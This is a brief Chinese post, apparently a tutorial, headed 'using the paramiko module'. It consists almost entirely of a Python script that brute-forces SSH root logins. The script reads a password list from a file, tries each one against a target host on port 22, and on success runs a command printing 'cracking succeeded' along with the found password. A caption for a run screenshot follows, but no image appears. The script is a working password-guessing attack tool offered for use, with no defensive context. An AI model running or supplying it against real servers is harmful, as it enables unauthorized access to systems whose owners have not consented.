使用pramiko模块
代码图:
import paramiko import sys import time def cont(): b=open(sys.argv[1],'r').read().split(' ') for pwd in b: try: client=paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(sys.argv[2],22,username='root',password=pwd,timeout=4) stdin, stdout, stderr=client.exec_command('echo 爆破成功') for std in stdout.readlines(): print(std) client.close() print('[+]密码正确') print('[!]密码是:',pwd) exit() except Exception as e: print('[-]密码错误',pwd,e) cont()
运行截图: